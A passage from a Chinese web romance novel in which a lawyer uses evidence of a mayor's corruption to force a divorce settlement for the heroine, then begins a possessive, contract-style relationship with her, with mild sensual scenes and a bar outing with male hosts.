“不结婚我哪里知道他有暴力倾向?”温昭宁叹一口气,“男人这种生物多狡诈啊,他们惯会伪装,婚前一副面孔,婚后一副面孔,生了孩子后又是另一副面孔,变脸技术绝佳。” “别一竿子打翻一船人,还有,陆恒宇打女人,他根本算不上男人。” 温昭宁点点头,贺淮钦这话说得没错,陆恒宇各方面都算不上男人,他全身上下,除了拳头,哪哪儿都硬不起来。 “好了。”贺淮钦处理好伤口,将用过的棉签和碘伏全都扔进车载垃圾袋。 “谢谢。”温昭宁照了照镜子,忽然想起一件事,“你明天真的要带我去陆家签离婚协议?” “怕了?” “不怕,只是陆家肯定不会轻易妥协。” “不用担心,有我在。” 第一卷 第21章 和你一起住 温昭宁回家后的第一件事情,就是给妹妹温晚醍打电话。 妹妹温晚醍在城南读大学,温家破产后,曾经的温二小姐身负巨债,每天边读书边兼职赚钱。 温昭宁已经很久没有见过妹妹了。 “姐,有事吗?” “没事,就是问问你最近好吗?” “挺好的。”温晚醍压着声音,“我在给小朋友做家教呢,没事的话,我晚上回去再和你说。” “好,注意安全。” “嗯,我知道。” 晚上温晚醍兼职结束回学校,给温昭宁回拨了电话,姐妹俩聊了很长一个天。 温晚醍得知姐姐温昭宁要离婚了,难掩兴奋:“姐,你终于要离婚了!太好了!当年陆恒宇强娶你,我每天都在盼着你离婚!我知道这些年陆恒宇和爸一直在用温氏压着你,现在温氏倒闭了也好,至少陆恒宇没什么能威胁你的了。” “温氏倒闭了一堆债务,你不担心吗?” “我才不担心,欠债就慢慢还呗,我唯一怕的是你在婚姻里受委屈。”温晚醍向来直爽不爱煽情,这一刻也忍不住有点哽咽,“姐,其实当年你就应该别管我们,和你爱的人一走了之才好,谁让你后来走了又回来,这一蹉跎,就是六年。” “好了,都过去了,不说这些了,等我离婚了,拿回当初的嫁妆,温家的债就能平了,你也不必再这么辛苦。” “好!” 温昭宁挂了电话,倚在窗口,望着花园里的夜景,心中忐忑、迷茫又交织着一丝即将解脱的曙光。 六年了,陆恒宇和这段婚姻缠绕她整整六年了,她真的能顺利恢复自由吗? 温昭宁一夜没有睡好。 第二天醒来,眼下两团青色有点深,但想到她即将去面对陆家人,她打起精神给自己化了一个精致的妆容,换上最鲜亮的裙子。 她从二楼下来,贺淮钦已经坐在客厅里了。 贺淮钦穿一身凛冽的黑,光是坐在那里,就充满了压迫感和一种不容置疑的权威。 这样的人是自己战队的,她还有什么可忐忑的呢,温昭宁动荡不安的心一秒安宁下来。 贺淮钦听到脚步声,抬眸看向她。 她今天打扮得很亮眼,正红色的V领连衣裙,完美地勾勒出纤细的腰身,她的妆容也很精致,口红选的是与裙子同色系的正红,衬得她愈发明艳动人,气场全开。 很好,离婚就该这样漂漂亮亮,美丽从容! 两人一起来到陆家。 陆恒宇昨天回家后,根本没有把贺淮钦的话放在心上,因为他不相信贺淮钦这样身价的人,真的会为了温昭宁的一场离婚官司奔波。 贺淮钦和温昭宁上门的时候,陆恒宇正要和他母亲赵曼丽出门,四人在门口遇个正着。 “贺律,你这是什么意思?离婚官司才值几个钱?你不会真的要为了这个女人影响我们之间的和气吧?”陆恒宇眼神轻佻地看向温昭宁,“说起来我这老婆的确有几分姿色,你要看上了,直接领走去睡就得了,何必搞这么大的阵仗?” “哼,我看他们在上官太太生日宴会那天,就已经跳舞跳到床上去了。”赵曼丽一脸嫌恶的表情。 温昭宁有被气到:“我看你们母子语言系统都没发育好吧,怎么一个个狗嘴里吐不出象牙?” “你骂谁狗呢,我看你们真是胆子肥了,竟然敢找上门来,真当我陆家是好欺负的吗?” 贺淮钦完全不把陆恒宇和赵曼丽这两人放在眼里。 “陆市长在吗?”他淡漠开口,“签署离婚协议的时候,陆市长最好在旁见证。” “你疯了吧?我老公可是市长,他哪里有闲工夫来管这种小事,再说了,我儿子甩个女人而已,需要什么见证?” “陆市长会想要见证的,毕竟,签署离婚协议的过程中我可能会提到沪城港口这个项目。” 陆恒宇一听沪城港口这个项目,脸色顿时变了。 别人不知道,但他最清楚了,沪城港口这个项目是他父亲陆乾勇上任后沪城金额最大的一个项目,从建设到落成再到招商引资,他们父子暗箱操作,捞得盆满钵满,这要是爆出来了,他父亲现在坐的这位置保不住不说,恐怕他们父子都要进去吃牢饭! “贺律,你在沪城港口也有生意,港口要是出什么事,对你也有损失,这样吧,我们坐下来好好聊聊……” “十分钟。”贺淮钦不理会陆恒宇的服软求和,他看了眼手表,下最后的通牒:“十分钟后,我要见到陆乾勇。” 这一下,连称呼都变了。 陆恒宇明白,如果贺淮钦手里没有一点实证,他肯定不敢这么狂。 “你威胁谁呢?”赵曼丽不明其由,态度仍是没轻没重,“我老公是你想见就能见的人吗?” “妈。”陆恒宇拉住母亲赵曼丽,对她使了个眼色,“快去打电话叫爸回来,要出大事了。” -- 温昭宁不知道“沪城港口”这四个字有什么魔力,总之,贺淮钦放话后不到十分钟,陆乾勇就火急火燎地赶回来,邀请贺淮钦去他书房面谈。 贺淮钦直接拒绝了:“我今天是作为温小姐的离婚代理律师陪温小姐来签订离婚协议的,其他事情,一概不谈。” 他说完,把温昭宁提前拟好的离婚协议递给陆恒宇。 “陆先生看一下吧,没问题的话,现在签字,签完领证。” 陆恒宇接过离婚协议,大致扫了一眼,不悦道:“三千万?温昭宁,你现在是仗着有人给你撑腰,狮子大开口是吧?你当初有带过来这么多嫁妆吗?” “房子、车子、商铺、现金和股份,我当初带过来的,远不止三千万,其中很多不动产都被你暗中偷偷变卖,算也算不清了。” “那你和你女儿在陆家吃喝六年你怎么不算?” “这六年我和青柠吃穿用度花的都是我自己的钱,我从来没有花过你一分钱。” “不行,三千万太多了……” 陆恒宇想推脱,贺淮钦直接晃了晃手里的文件袋。 “沪城港口建设过程中,除了港口基建项目,设备采购也存在极大的黑洞,光是集装箱吊装设备采购的回扣率就高达238%,光是这一笔贪腐,都远超了三千万,对吗陆市长?”贺淮钦声音不高,但每一个字落在陆乾勇的耳朵里都千斤重。 说实话,当初设备采购的回扣率就连陆乾勇本人,都无法精确地报出这个数据,可见贺淮钦手里那份文件的杀伤力有多强。 陆乾勇直冒冷汗,他看了儿子陆恒宇一眼:“少废话,签。” “凭什么给这个女人这么多钱?”赵曼丽叫嚣起来,“温昭宁嫁进我们陆家六年,连个儿子都生不出来,凭什么离婚的时候分走这么多钱?” “闭嘴!”陆乾勇狠狠地瞪向妻子赵曼丽,“你一个女人懂什么?恒宇,快签!” 陆恒宇虽然舍不得这个钱,但是,他所有的不甘心和挣扎在贺淮钦手中那份文件面前,都已化为徒劳。 “好,我签。” 陆恒宇脸色灰败,在离婚协议上一笔一划写下了他的名字。 温昭宁来时就已经在离婚协议上签下了自己的名字,陆恒宇一签字,这份协议就算完成了。 她手握着这份双方签字的离婚协议,过往种种,如同默片般在脑海里飞速闪过,终于,一切都结束了。 “贺律,你看,字都签了,我们之间的误会,也该化解了吧?”陆乾勇讪笑指着贺淮钦手里的文件,“这份文件里的内容,应该不会有除我们之外的任何人知道吧?” 贺淮钦没有回答陆乾勇的话,他只是走到了温昭宁的身边,问她:“温大小姐,婚离了,其他的账是不是也该一并清算了?” 温昭宁看着他的眼睛,秒懂了他在说什么。 贺淮钦说的,是陆恒宇家暴她的事情。 “去吧。”贺淮钦抬手,轻轻拨开温昭宁的刘海,指尖拂过她额头的那个疤,“他怎么对你的,你就怎么还回去。” 温昭宁当然也想把陆恒宇砸她的一下还回去,但是,以暴制暴,她还是有点犹豫。 “不敢?”贺淮钦握住她的手,抄起茶几上的烟灰缸;“不要怕,手抖了算我的,力道不够我帮你!” 这句话,彻底打消了温昭宁心中最后一丝顾虑。 她眼神一凛,在贺淮钦的支撑和引导下,猛地扬起手…… “不!不要!温昭宁!你敢!”陆恒宇惊恐大叫。 原来当暴力指向自己,他也是会怕的,可他当初在面对温昭宁的时候,根本不曾察觉暴力给人带来的恐惧。 人只有亲身经历,才会透彻了解。 砰! 一声闷响。 烟灰缸精准地砸在了陆恒宇额角的同样位置。 陆恒宇惨叫一声,鲜血瞬间涌出。 温昭宁看着陆恒宇狼狈痛呼的样子,有一种郁积已久的恶气终于宣泄而出的畅快感。 “你们疯了!竟敢打伤我儿子!报警!快报警!”赵曼丽疾呼。 烟灰缸呼到温昭宁头上就是碰了一下而已,呼到自己儿子头上就急着要报警,这人真是双标。 “我只是碰了他一下而已,陆夫人你着什么急?”温昭宁以子之矛攻子之盾。 “你……”赵曼丽又急又气,脸都涨红了,她转头看向陆乾勇求助:“老公,我们儿子被打了,你也不管管吗?” 陆乾勇看了一眼贺淮钦手里的文件袋,哪里敢报警? 大厅里沉默的沉默,哭喊的哭喊,乱成了一团。 “记住了。”贺淮钦站在温昭宁的身后,一字一顿地说:“从今往后,没有人能再动你一下。” 这一刻,贺淮钦不仅是帮她报复,更是亲手将她从“受害者”的位置上拉了起来,赋予了她回击的力量、崭新的勇气和不容侵犯的边界。 -- 从陆家出来,温昭宁紧绷的弦终于松开了,她顿觉神清气爽。 她真是做梦都不敢想,这一切竟然解决地这样顺利。 之后,她和陆家将再无瓜葛,温家的债务也能还清了。 她终于自由了! “谢谢。” 温昭宁转过头去,想和贺淮钦分享这份重获新生的喜悦,然而她撞上的是贺淮钦那双深不见底的眼睛。 他静静地看着她,全然没有了刚才给她撑腰的架势。 “别高兴得太早。”贺淮钦倾身,目光锁住她眼中尚未褪去的喜悦,冷声提醒,“接下来,就是你和我的交易了。” 温昭宁一瞬间被拉回了赤裸裸的现实。 是啊,贺淮钦虽然帮她摆脱了旧的牢笼,但他又亲手为她铸造了一座新的牢笼。 “贺律,我想和你谈谈。” “想反悔?免谈。” “我不是想反悔,我只是想和你谈一下交易的期限,你之前说要等你睡腻,这也太笼统了,万一你这辈子都睡不腻,那我岂不是得在你身边熬到七老八十?” 贺淮钦冷飕飕看她一眼:“温大小姐,你是不是对自己过于自信了?” “我是说万一,我当然也知道你不可能想和我绑在一起一辈子,所以,我们还是定个期限吧。”温昭宁凑到贺淮钦身边,小心翼翼地提议:“一年,一年你看怎么样?” 她话音刚落,就感觉贺淮钦周身的气压骤然降低。 一年。 贺淮钦冷哼了声。 她和陆恒宇那段狗屁不如的婚姻,尚且还绑了六年,但她却只愿在他身边留一年而已? 温昭宁见贺淮钦不对劲,赶忙问:“我是不是又过于自信了?要不,半年?” “温昭宁!你别得寸进尺!” “那你说啊,说个确切的数字,判刑也得有个期限呢,对吧。” 判刑…… 她真是每一个字都在他雷点上蹦迪。 “一年。”贺淮钦说,“我和你的交易,一年为限。” “那除了晚上的时间,白天我是自由的,对吧?”温昭宁计划得找份工作赚钱养自己和孩子。 “不对,应该说除了在床上的时间,其他时间你都是自由的。” 温昭宁揣摩了一下贺淮钦的这句话,脸莫名一红。 所以他的意思是,不止晚上,他白天也可能会有那方面的需求? 温昭宁已经预感到,接下来的日子会是怎么样的水深火热了。 “走吧。”贺淮钦说。 “去哪儿?” “搬家。”他看着温昭宁,通知道:“今晚,我就会正式搬过来和你一起住。” 第一卷 第22章 买小了 贺淮钦这段时间都住在西城别苑,他的东西不多,三个行李箱就都装完了。 回到洋房别墅,他简单地收拾了一下自己的东西,就又拉着温昭宁出门了。 这一趟,他们去的是超市。 别墅小区对面,就有配套的大型商超。 温昭宁先前来过一次,已经采购了一些基础的洗簌用品和生活用品。 进入超市后,贺淮钦推了辆购物车,温昭宁自觉地走在他两米之外,仿佛只是一个恰好同路的陌生人。 超市里人流如织,时不时就有人从他们之间穿过,将那两米距离冲散得更远。 好几次,贺淮钦一回头,已经看不到温昭宁的身影了。 他停下脚步,站在原地,沉冷的目光扫视着周围。 温昭宁好不容易从人群缝隙中钻出来,一抬头,对上他阴沉沉的目光,赶紧小跑着靠近,但也不敢靠得太近。 “你躲那么远干什么?我身上是有病毒还是有闪电?”他神色不悦,“跟我走在一起让你不舒服是不是?” “不是,我这不是怕别人看见嘛。” “看见怎么了?” “是你之前说的啊,我得藏在地下,永远见不得光,没有任何人可以知道我和你的关系,我这是在替你避嫌好吧。” “那我是不是还得谢谢你?” “不客气。” “少贫嘴。”贺淮钦一把将她拉到自己身边,“跟紧了,别再让我回头找不到人。” 温昭宁撇撇嘴,这人怎么回事?一会儿要她见不得光,一会儿又带着她来公共场合招摇过市,精分吧。 两人走到家居用品区。 贺淮钦朝货架上扫了一眼,伸手拿下两双款式相同的软底拖鞋,放进了购物车。 这一深一浅,一大一小,分明就是情侣款。 “那个……”温昭宁指着那双米色的女士拖鞋,“我有拖鞋,不用买新的。” “把旧的扔了。” “也就买了一个礼拜多,还没旧呢。” “扔了,穿新的,听不懂?” “……” 紧接着,贺淮钦又拿起了一对情侣款的马克杯,情侣款的刷牙杯,情侣款的毛巾,情侣款的浴巾……他购物车里的东西越来越多,都是成双成对的。 关键是,这些东西温昭宁都已经买了。 “贺律,你买你自己的那一份就可以了,这些生活用品我都已经有了。” “旧的全扔了,用我买的。” 温昭宁心想,贺淮钦不会是想都和她用情侣款吧? 当年他们在出租屋同居三个月,所有生活用品用的都是情侣款的,小到一个钥匙扣,他都要买同款不同色的,不过那时候他们正在热恋,用情侣款也可以理解,可现在他们只是交易而已,他为什么还要这样? “为什么都要用一样的啊?”温昭宁忍不住问。 “因为我有强迫症。”贺淮钦声音冷得没有一丝起伏。 “你以前也没这病啊,什么时候患上强迫症的?” “刚刚。” “……” 好吧,秒患病,这是真有病。 -- 贺淮钦购物车里的东西越来越多,温昭宁看着,只觉得这画面太有欺骗性了。 这哪里像是交易了?这分明更像是寻常情侣在为他们的同居生活添砖加瓦。 她这样想着,再看贺淮钦冷硬的侧脸线条,在超市温暖的灯光下,似乎也柔和了几分。 两人一前一后,走到摆放计生用品的货架前。 既然是那方面的交易,这玩意儿自然是少不了的。 温昭宁脸上发热,趁着周围暂时没有人,快速地扫过琳琅满目的盒子,随手拿了一盒就要往购物车里放。 “等等。”贺淮钦握住了她的手,走到她的身后,贴着她的耳廓轻声说,“买小了,而且,买少了。” 温昭宁大脑“轰”的一声,脸颊瞬间红透,连耳根都染上了绯色。 贺淮钦似乎很满意她的反应,他没有松开她的手,反而就着这个姿势,将她手里那盒“小了”的放回原处,然后,又握着她的手,从容不迫地在货架上比对品牌、挑选合适的尺寸,一盒一盒一盒又一盒地扔进了购物车。 旁边有人过来了,温昭宁恨不得找条地缝钻进去。 她抬肘撞了一下贺淮钦,示意他差不多得了,可他却像是计生贩子,几乎拿空了整排货架。 “这么多,你疯了吗?”温昭宁低斥。 “几天就用完了。” “你别吹牛了。” “是不是吹牛,你很快就知道了。” “……” 从超市回家的路上,温昭宁一直处于高度紧张和兴奋的状态。 她已经六年没有做过那方面的事了,这六年,她生育女儿,生活重心的变化和身体的变化让她对亲密关系的欲望变得很淡,可刚才在超市,贺淮钦从身后拢过来的气息,像细小的电流,刺激着她麻木的神经,她感觉自己心跳失控,那份被遗忘的、属于身体最原始的悸动似乎又被唤醒了。 车子在家门口停下。 贺淮钦拎着购物袋下车,温昭宁沉默地跟在贺淮钦的身后,她看看他挺拔宽阔的背影,又看看购物袋最上方的那些盒子,心在胸腔里疯狂地跳动。 那么多套,他说很快能用完,他是想一夜几次啊? 难不成,他真的比当年更强了? 贺淮钦忽然停下脚步。 温昭宁猝不及防,一头撞在了他的后背上。 “你在想什么?”贺淮钦似笑非笑地转头看着她。 “没想什么。” “那你一路心不在焉地干什么?” “我哪儿有。” “温大小姐是不是很期待?” “怎么可能,我……我没有。” 温昭宁因为心虚,抢先走到前头,比贺淮钦先一步进门。 贺淮钦紧随她后。 玄关处,灯光昏暗。 贺淮钦将购物袋随意放在旁边,侧身一步,高大的身影瞬时将她笼罩。 温昭宁低着头。 贺淮钦手指轻轻抬起她的下巴,迫使她与他对视,他深邃的眼眸里,翻涌着清晰的欲望:“温大小姐,我要吻你了。” 他话落,吻也落了下来。 这个吻不再是之前粗暴的掠夺,而是由浅入深,带着慢条斯理地研磨和诱惑。 香津浓滑在缠绕的舌间摩擦。 他的大手在她后背的敏感处一寸一寸游走,每一次若即若离的碰触,都在拨弄她的神经。 六年形婚带来的是身体的极度敏感,理智告诉她不要被迷惑,可身体却无比诚实,一种陌生的、汹涌的渴望从四肢百骸汇聚,让她浑身发软。 温昭宁很快溃不成军,她伏在贺淮钦怀里,空寂已久的城池,渴望被攻略,渴望被填满。 从一开始的被动承受,逐渐变成了主动迎合。 温昭宁不自觉地抬手勾住了贺淮钦的脖子,跟随着本能蹭向他,压抑的呻吟几乎要冲破喉咙。 周遭的一切都变得粘稠而暧昧起来。 就在温昭宁意乱情迷之时,贺淮钦忽然毫无征兆地停住了。 他撤离她的唇,将两人紧贴的身体微微拉开距离。 温昭宁呼吸急促,不解地看着他,身体深处传来的那阵空虚几乎将她淹没。 “承认吗?”贺淮钦沙哑地开口,“你其实并没有睡腻。” 温昭宁眼神闪烁。 天杀的,这个狗男人,布下情欲陷阱,竟然是为了记仇翻旧账。 “说话。”贺淮钦不容她逃避,“温大小姐,承认你的身体对我有感觉。” “有感觉不是很正常吗?六年不睡,新鲜感又起来了呗。” “就只是新鲜感而已吗?” “不然呢?” 贺淮钦瞪着她,眼底已经没有情欲,只有冰冷地审视。 客厅旖旎的气氛,消散得无影无踪。 两人对峙了片刻,谁都没说话。 过了会儿,贺淮钦开口:“罢了,新鲜感也是一种感觉,我看得出来,你刚才如狼似虎,特别想要。” 温昭宁有种一世英名毁于一旦的感觉。 “我没有,你别瞎说。” “有没有,你自己清楚。” 他目光向下,附到她耳边,轻声问了句什么,温昭宁瞬间满脸通红,扬手捶他:“贺淮钦,你闭嘴。” “恼羞成怒,看来我猜对了。” 温昭宁背过身去,不愿再去理他。 贺淮钦却从她身后抱住了她,耳鬓厮磨一阵后,他轻声说:“可惜了,我今晚还有个局,满足不了温大小姐了。” 好好好,温昭宁算是明白了,他兜这么大一个圈子,就是故意耍她的。 -- 贺淮钦走了。 偌大的客厅,瞬间只剩下了温昭宁一个人。 温昭宁缓缓蹲下去,看着地上那堆刚刚采购回来的成双成对的物品和那十来盒的避孕套,默默在心里问候了贺淮钦的祖宗。 就在这时,温昭宁的手机响了。 是苏云溪打来的电话。 “宁宁,我刚看到你的信息,你说你离婚了,这么快就搞定了?真的吗?” 温昭宁被贺淮钦一搅和,差点忘了今天是她离婚大喜的日子。 “真的真的,溪溪,我终于自由了!” “太好了!”苏云溪在电话那头几乎要跳起来,声音里更是掩饰不住的狂喜,“真是个天大的好消息!恭喜我姐们儿脱离苦海!重获新生!我们必须庆祝!现在!立刻!马上!” “去哪儿庆祝啊?” “我知道一家新开的酒吧,环境非常好,我先过去定包厢,你赶紧拾掇拾掇过来!” “好!” 温昭宁也觉得,今晚适合喝点小酒。 反正贺淮钦出去应酬了,她在家闲着也是闲着。 温昭宁换了条裙子,补了补妆,就去了苏云溪说的酒吧。 苏云溪早在酒吧门口等着她了。 “宁宁宝贝!”苏云溪见到温昭宁后,一把搂住了她,“快快快,今天大喜,我们不醉不归!” 温昭宁已经六年没有来酒吧了。 当年她追贺淮钦的时候,贺淮钦因为在酒吧有兼职,她为了给他捧场,倒是经常去酒吧。 苏云溪拉着温昭宁走进酒吧。 劲爆的声浪和斑斓的光影瞬间将她们吞没。 两人穿过拥挤的卡座,直接去了二楼的包厢。 “宁宁,为了庆祝你新生,姐妹给你准备了大惊喜。” 不等温昭宁反应过来,苏云溪就招手叫来了服务生,低声交代了几句什么。 服务生微笑着点头离开,没一会儿,两个穿着黑色西装,身材高大挺拔的年轻男人走进了包厢。 “两位姐姐好!”年轻男人们声音清朗,带着恰到好处的热情,“今晚,将由我们给两位姐姐服务,姐姐们有什么吩咐,尽管提!” 温昭宁瞬间明白了苏云溪给她的惊喜是什么,她给她点了男模。 额…… 温昭宁虽然经常口嗨说喜欢男模,但男模真到眼前了,她顿感一阵不自在。 而且,这两个男模化了妆,看上去实在油腻,这颜值,都不及贺淮钦万分之一。 “溪溪,你点男模干什么?”温昭宁凑到苏云溪耳边,压低了声音说,“我不好这口。” “没让你真吃,就是叫过来聊聊天。”苏云溪笑嘻嘻的,“你在陆恒宇那个弱鸡男身边六年,估计好久都没有感受过男性荷尔蒙的气息了,今晚让你感受一下,这两个是酒吧里腹肌最完美的,等下可以让他们脱了摸一摸。” 男性荷尔蒙气息吗? 她出门前刚感受过了,而且,那是最顶级的。 温昭宁还想说什么,其中一个男模已经懂事地坐到了她的身边。 他们干这一行的,最会察言观色:“姐姐放心,我们都是正经销售,只卖酒,不卖身,姐姐不同意,我们绝对不会乱来的。来,姐姐,我给你们倒酒。” “好了宁宁,你都离婚了,还畏手畏脚的干什么,放开点,喝!” 温昭宁在苏云溪的劝说下,紧绷的神经稍稍放松了一些。 两人开始喝酒。 苏云溪看着豪放,其实酒量差得不行,温昭宁和苏云溪半斤八两,没喝几杯,她们就进入了微醺状态。 “宁宁,你等我一下,我去上个洗手间。”苏云溪摇摇晃晃站起来,还不忘对两个男模发号施令,“替我照顾好这位姐姐!” “好的,姐姐放心,我们一定把这位漂亮姐姐照顾好。” “嘿,你什么意思?你的意思是我不漂亮?” “不不不,你们两个都是漂亮姐姐。” “这还差不多。” 苏云溪出去了。 温昭宁一个人和两个男模同处一个空间,怎么想怎么不自在。 “那个……我也去趟洗手间。” 她快速站起来,还没走到门口,就见苏云溪着急忙慌地跑回来。 “完了完了!宁宁,我碰到我老公了!” 第一卷 第23章 忍得很辛苦 苏云溪的老公霍郁州霍三爷,那是沪城出了名的不好惹。 传闻霍郁州黑白两道通吃,明面上是霍氏集团的负责人,但在灰色的地下世界,他还有一个让人发怵的称呼——活阎罗,因为他曾动用各方势力,让显赫一时的萧家一夜之间倾家荡产,手段精准冷酷,犹如阎罗索命。 苏家和霍家联姻,按照婚约,原本是苏云溪的姐姐要嫁给霍郁州的,但因为苏云溪的姐姐喜欢萧家大少爷,萧家破产后,萧家大少爷抑郁而终,姐姐恨死了霍郁州宁愿出家都不愿嫁,苏家没办法只能让苏云溪替嫁。 苏云溪和霍郁州虽然成了夫妻,但是没有任何感情,用苏云溪的话说,他们两个没有任何共同语言,唯一能交流得起来的地方就是床上,下了床,霍郁州就对她冷冰冰的,只会处处限制她,不许她这样,不许她那样。 她半夜来酒吧点男模这种事要是让霍郁州知道了,天知道这个冷面阎罗回家会怎么惩罚她。 “宁宁,江湖救急啊!不知道是哪个多嘴的服务生在霍郁州面前说我点男模,他让我过去解释!”苏云溪亮出手机屏幕上的那条信息。 信息上只有简单的“过来解释”四个大字,却让人感觉到了透出屏幕的压迫感。 “你想我怎么帮你啊?”温昭宁问。 “你和我一起过去,你就和他说,男模是你点的。” 关键时刻,闺蜜就是用来挡枪的。 温昭宁虽然也怕那位霍三爷,但苏云溪毕竟是她最好的朋友,在她最落魄的时候,苏云溪无数次对她伸出援手,让她熬过了最难的那段日子,如今苏云溪有难,她自然义不容辞。 “好。” “宁宁,够义气!走!” 苏云溪带着温昭宁去了霍郁州的包厢,霍郁州正好等得不耐烦了要出来兴师问罪,三人在包厢门口遇到。 温昭宁还是第一次见一个人周身能散发出这么可怖的气场,霍郁州那眼神,像是能把人生吞活剥了一样。 苏云溪这时候已经顾不上姐妹情深了,她毫不犹豫地把温昭宁扯到了她的前面。 “宁宁……”她低声哀求。 温昭宁豁出去了,昂首挺胸护住苏云溪,对霍郁州说:“霍三爷,我想你可能误会了,我们包厢里的那两个男模,都是我点的!” 霍郁州扫她一眼:“你点的?” “对,就是我点的,两个都是我点给我自己的!”周围嘈杂,温昭宁怕他听不清,特意提高了音量,“因为今天我离婚高兴,想着点两个男模庆祝,溪溪一直在旁劝我克制但没劝住,你别迁怒她,她是无辜的!” 霍郁州忽然勾唇,他转头往包厢里瞥了一眼,开口:“淮钦,还笑呢,火都烧到你院子里去了。” 淮钦? 温昭宁还没反应过来,就听包厢里有人又说:“淮钦你弃了沪城港口上亿的项目换她自由,她转头上酒吧点两男模庆祝,温小姐这是吃完水马不停蹄就把井填上了啊。” 包厢里一阵笑声。 温昭宁预感不好。 果然,下一秒,贺淮钦黑着一张脸从包厢里走了出来。 “都是你点的?”他点点头,“很好!” 好什么? 温昭宁只想逃跑。 她转头对苏云溪使了个眼色,两人默契地拔腿就跑,可是下一秒,身后两条长臂一伸,一左一右各拎住了她们。 贺淮钦:“跑什么?” 霍郁州:“跑什么?” 温昭宁:“……” 苏云溪:“……” 姐妹,自求多福吧。 -- 苏云溪先被霍郁州拎走了。 贺淮钦却没有马上带温昭宁离开酒吧。 温昭宁心头打鼓,不知道他还想干什么。 “那个……我们不走吗?”温昭宁心虚地问。 “走?你是想点霸王男模吗?”贺淮钦一身凛冽的寒气,攥住她的胳膊就往她们的包厢里走。 两个男模还在等姐姐们回来,可没想到一个姐姐不见了踪影,另一个姐姐带回来一个气势压人的姐夫。 “姐姐……” 温昭宁赶紧冲那男模眨眨眼,示意他不要开口。 这个小动作落进贺淮钦眼里,就是眉来眼去。 好一个温昭宁,他都过来了,她竟然还敢和男模眉目传情。 “结账!”贺淮钦语气冷得淬冰。 男模闻言,赶紧过来,报出今晚消费的金额。 贺淮钦一手搂着温昭宁,一手从容地从西装内袋里掏出一张黑卡,递了过去。 流程很快,刷卡,签字。 只是结完账,贺淮钦还是没有带温昭宁离开,温昭宁不明所以地看着他,只见贺淮钦打量了那两个男模一眼,又随手抽出一沓崭新的百元大钞,扔在茶几上。 两个男模两眼放光:“先生,这是小费吗?” “是,回答我两个问题,就可以拿走这消费。” “先生,你说。” “她摸你们了吗?” “没有,姐姐没有碰我们。” 贺淮钦脸上的表情缓和了几分,又问:“加微信了吗?” “没有,什么联系方式都没有加。” “很好,拿上小费出去,服务到此为止。” “是,谢谢先生。” 两个男模乐滋滋地拿着钱出去了。 温昭宁却一点都笑不出来。 包厢里,灯光昏暗,贺淮钦脸上的表情晦暗不明,他走到沙发前,松了松领带,坐下。 桌上新开的那瓶酒才喝了一小半,贺淮钦重新给自己翻了一个杯子,倒满。 “离婚了,的确值得庆祝。”他开口,听不出喜怒,“既然你喜欢用这种方式庆祝,那过来,我们一起庆祝。” 温昭宁的心提起来了,不知道他想干什么? “你……” “过来!”他的语气带上了一种不容置疑的命令。 温昭宁慢慢走到他身旁。 贺淮钦一把将她扯进怀里,让她坐到他的腿上。 他拿起新倒的那杯酒,仰头含了一口,下一秒,他扣住她的后颈,精准地攫住她的唇,强势将那辛辣的烈酒渡到了她的口中。 温昭宁惊愕地睁大了双眸,酒液顺着喉咙滑下,带来一阵滚烫的灼烧感。 她被呛到,忍不住咳嗽起来。 贺淮钦冷眼看着她被酒呛得泛出泪光,没有任何怜香惜玉之感。 “还喜欢这样庆祝吗?”他问。 温昭宁连忙摇头:“不喜欢了。” 贺淮钦见她脸颊绯红,微微喘息的模样,眼底的暗色更加深沉。 他抱着她站起来,大步往包厢外走。 “回家,我们换一种方式庆祝!” -- 两人都喝了酒,回去的路上,是贺淮钦的司机开车。 温昭宁和贺淮钦坐在后座。 起初,她还因为贺淮钦那句“换一种方式庆祝”绷紧了神经,但渐渐的,她酒精上头,眼皮越来越沉重,脑袋也开始像小鸡啄米一般一顿一顿地向下晃动。 在一个红灯停下时,温昭宁终于彻底支撑不住,脑袋一歪,靠在了贺淮钦的肩膀上。 贺淮钦侧头,看着温昭宁恬静的睡颜。 他知道她酒量不好。 当年他在酒吧兼职,温昭宁为了让他多拿提成,每次来都点很多酒,可她总是喝不了多少就醉了。 她醉了,也赖着不走。 贺淮钦兼职结束,还要背着她去坐车。 从酒吧到露天停车场这段距离,贺淮钦曾背着她走了无数次,那时候他们还没有正式谈恋爱,温昭宁每次都仗着喝醉,将手伸进他的领口,东摸西摸,第二天又断片不认账。 贺淮钦刚才知道她点男模,脑海里第一时间就想到她曾对他上下其手的这些画面,幸好,她没有碰别人。 他轻轻捏了捏温昭宁的鼻子,将她拥进怀里,紧紧搂住。 胸口那股无名怒火,最终化成了一缕纵容的轻叹。 -- 温昭宁一觉睡到大天亮。 清晨,她在柔软的大床上醒来,睁开眼看到吊灯的那一瞬,她意识到自己睡的不是客房的那张床,而是主卧的大床。 宿醉让她的头有一点点痛,意识回笼的瞬间,昨晚的记忆如同潮水般涌来,酒吧、男模、贺淮钦渡向她的那口烈酒以及他抱起她说要回家庆祝……这是“庆祝”过了? 温昭宁下意识地摸了摸身边的位置,空的,冰凉的,他好像没来躺过。 她稍稍松了一口气,但紧接着,就察觉到了更不对劲的地方,她身上穿的不是昨晚的裙子,而是一件质地舒适的男士丝质衬衫,衬衫之下,空空如也。 贺淮钦给她脱衣服了? 外衣不上床,脱衣服也可以理解,但为什么脱得这么彻底? 这简直比睡了还让她觉得羞赧。 她该怎么下楼去面对贺淮钦? 温昭宁正坐在床上胡思乱想,卧室的门被轻轻推开了。 贺淮钦端着一碗汤,从外面走了进来。 “醒了。”他语气如常,仿佛她穿着他的衬衫睡在他的床上是再自然不过的事情,“先把醒酒汤喝了。” 贺淮钦把醒酒汤递到温昭宁面前,温昭宁揪紧了衬衫领口,没有接。 “怎么?要我喂?”他眉梢微挑,“像昨晚那样喂?” “不用了。” 温昭宁赶紧把醒酒汤接过来,一饮而尽。 贺淮钦收回空碗,但并没有离开,他的目光平静地落在她的身上,将她的无措尽收眼底。 “是不是断片了?” “是,昨晚我……” “你吐了。” 贺淮钦说起来,也很无奈。 昨晚从酒吧回来,一路上她都很乖地伏在他怀里睡觉,到了家门口,贺淮钦把她抱上楼,结果刚放到客房的床上,她就吐了。 他的衣服,客房的床单以及她自己的衣服,都没有幸免于难。 “吐了?不会吧,我喝得又不多。” “你自己什么酒量你不清楚吗?” 温昭宁瞬间没了底气。 也是。 她的酒量实在不咋地。 “那我的衣服……” “衣服是我脱的,澡是我给你洗的,衬衫也是我给你换上的。” 就这一句话,光听着都能想象有多折腾了。 温昭宁的脸红透了:“辛苦你了。” “是挺辛苦的。”贺淮钦盯着她,“忍得很辛苦。” 